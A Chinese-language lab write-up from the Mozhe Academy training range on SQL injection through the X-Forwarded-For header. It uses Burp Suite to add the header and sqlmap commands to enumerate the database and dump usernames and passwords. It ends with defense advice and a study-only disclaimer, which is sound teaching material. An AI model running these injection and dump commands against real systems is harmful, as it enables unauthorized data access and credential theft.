墨者学院:X-Forwarded-For注入漏洞实战🚀
1. 什么是X-Forwarded-For?🔍
X-Forwarded-For
(XFF)是一个HTTP请求头字段,用于标识客户端的原始IP地址。当请求经过代理服务器(如Nginx、CDN、负载均衡等)时,代理服务器会将该字段添加到HTTP头中,记录客户端的真实IP地址。格式通常为:
X-Forwarded-For: client_ip, proxy1_ip, proxy2_ip
如果服务器未正确验证该字段,攻击者可能伪造X-Forwarded-For
头,导致IP欺骗或SQL注入等安全问题。
2. 实验工具🔧
Burp Suite
- 用途:拦截、修改和重放HTTP请求,用于抓包和手动测试。
- 官网:https://portswigger.net/burp
SQLMap
- 用途:自动化检测和利用SQL注入漏洞。
- 安装:
git clone https://github.com/sqlmapproject/sqlmap.git
3. 实验步骤🎯
步骤1:使用Burp Suite抓包并修改请求➡️
原始请求:
POST /index.php HTTP/1.1
Host: 124.70.64.48:41754
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://124.70.64.48:41754
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.64.48:41754/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
username=test&password=test
修改后(添加X-Forwarded-For: *
):
POST /index.php HTTP/1.1
Host: 124.70.64.48:41754
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://124.70.64.48:41754
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.64.48:41754/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For: *
username=test&password=test
将请求保存为 F:\Cybersecurity\test.txt
(路径和名字随意)。
步骤2:使用SQLMap进行注入测试➡️
1. 获取当前数据库名
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" --current-db --batch
或者开启多线程:
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" --current-db --batch --threads 10
2. 列出数据库中的表
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" -D webcalendar --tables --batch
3. 获取表的列名
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" -D webcalendar -T user --columns --batch
4. 导出数据
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" -D webcalendar -T user -C id,username,password --dump --batch
5. 重启靶场,出现缓存问题
假如重启了墨者学院的靶场,会重新生成端口,需要修改"xxx.txt"中的端口配置,不然爆破的密码会是一样的,解决方法有:
- 使用
--purge
清理缓存后、重新爆破
python sqlmap.py --purge
- 使用
--flush-session
强制重新扫描目标
python sqlmap.py -r "F:\\Cybersecurity\\test.txt" --flush-session --current-db --batch
6. 获取最终Key
4. 关键参数说明⭐
参数 | 作用 | 示例 |
---|---|---|
-r |
从文件读取HTTP请求 | -r "F:\\test.txt" |
--current-db |
获取当前数据库名 | --current-db |
-D |
指定目标数据库 | -D webcalendar |
--tables |
列出数据库中的所有表 | --tables |
-T |
指定目标表 | -T user |
--columns |
列出表中的所有列 | --columns |
-C |
指定要导出的列 | -C id,username,password |
--dump |
导出数据 | --dump |
--batch |
自动选择默认选项(非交互模式) | --batch |
--threads |
设置并发线程数(可选) | --threads 10 |
5. 总结🏁
漏洞原理:
X-Forwarded-For
头可能被恶意篡改,如果服务器未严格验证该字段,可能导致SQL注入或IP欺骗。实验验证:
- 通过Burp Suite修改请求头,添加
X-Forwarded-For: *
。 - 使用SQLMap自动化检测并利用注入漏洞,最终导出数据库数据。
- 通过Burp Suite修改请求头,添加
防御建议:
- 服务器端应对
X-Forwarded-For
进行严格校验(如只信任可信代理IP)。 - 使用参数化查询或ORM框架防止SQL注入。
- 服务器端应对
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗